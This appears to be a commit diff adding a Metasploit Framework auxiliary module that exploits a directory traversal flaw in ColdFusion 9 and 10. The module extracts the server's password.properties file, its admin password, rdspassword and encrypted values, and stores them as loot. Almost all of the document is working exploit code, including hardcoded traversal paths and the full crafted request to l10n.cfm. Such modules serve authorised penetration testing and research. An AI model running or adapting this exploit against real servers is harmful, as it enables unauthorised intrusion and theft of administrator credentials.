1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Auxiliary
11
+
12
+ include Msf ::Auxiliary ::Report
13
+ include Msf ::Exploit ::Remote ::HttpClient
14
+
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
+ 'Name' => "ColdFusion 'password.properties' Hash Extraction" ,
18
+ 'Description' => %q{
19
+ This module uses a directory traversal vulnerability to extract information
20
+ such as password, rdspassword, and "encrypted" properties. This module has been
21
+ tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the
22
+ target ColdFusion version.
23
+ } ,
24
+ 'References' =>
25
+ [
26
+ [ 'OSVDB' , '93114' ] ,
27
+ [ 'EDB' , '25305' ]
28
+ ] ,
29
+ 'Author' =>
30
+ [
31
+ 'HTP' ,
32
+ 'sinn3r'
33
+ ] ,
34
+ 'License' => MSF_LICENSE ,
35
+ 'Actions' =>
36
+ [
37
+ [ 'ColdFusion10' ] ,
38
+ [ 'ColdFusion9' ]
39
+ ] ,
40
+ 'DefaultAction' => 'ColdFusion10' ,
41
+ 'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
42
+ ) )
43
+
44
+ register_options (
45
+ [
46
+ Opt ::RPORT ( 8500 ) ,
47
+ OptString . new ( "TARGETURI" , [ true , 'Base path to ColdFusion' , '/' ] )
48
+ ] , self . class )
49
+ end
50
+
51
+ def peer
52
+ "#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } "
53
+ end
54
+
55
+ def run
56
+ filename = ""
57
+ case action . name
58
+ when 'ColdFusion10'
59
+ filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
60
+ when 'ColdFusion9'
61
+ filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
62
+ end
63
+
64
+ res = send_request_cgi ( {
65
+ 'method' => 'GET' ,
66
+ 'uri' => normalize_uri ( target_uri . path , 'CFIDE' , 'adminapi' , 'customtags' , 'l10n.cfm' ) ,
67
+ 'encode_params' => false ,
68
+ 'encode' => false ,
69
+ 'vars_get' => {
70
+ 'attributes.id' => 'it' ,
71
+ 'attributes.file' => '../../administrator/mail/download.cfm' ,
72
+ 'filename' => filename ,
73
+ 'attributes.locale' => 'it' ,
74
+ 'attributes.var' => 'it' ,
75
+ 'attributes.jscript' => 'false' ,
76
+ 'attributes.type' => 'text/html' ,
77
+ 'attributes.charset' => 'UTF-8' ,
78
+ 'thisTag.executionmode' => 'end' ,
79
+ 'thisTag.generatedContent' => 'htp'
80
+ }
81
+ } )
82
+
83
+ if res . nil?
84
+ print_error ( "#{ peer } - Unable to receive a response" )
85
+ return
86
+ end
87
+
88
+ rdspass = res . body . scan ( /^rdspassword=(.+)/ ) . flatten [ 0 ] || ''
89
+ password = res . body . scan ( /^password=(.+)/ ) . flatten [ 0 ] || ''
90
+ encrypted = res . body . scan ( /^encrypted=(.+)/ ) . flatten [ 0 ] || ''
91
+
92
+ if rdspass . empty? and password . empty?
93
+ # No pass collected, no point to store anything
94
+ print_error ( "#{ peer } - No passwords found" )
95
+ return
96
+ end
97
+
98
+ print_good ( "#{ peer } - rdspassword = #{ rdspass } " )
99
+ print_good ( "#{ peer } - password = #{ password } " )
100
+ print_good ( "#{ peer } - encrypted = #{ encrypted } " )
101
+
102
+ p = store_loot ( 'coldfusion.password.properties' , 'text/plain' , rhost , res . body )
103
+ print_good ( "#{ peer } - password.properties stored in '#{ p } '" )
104
+ end
105
+
106
+ end
0 commit comments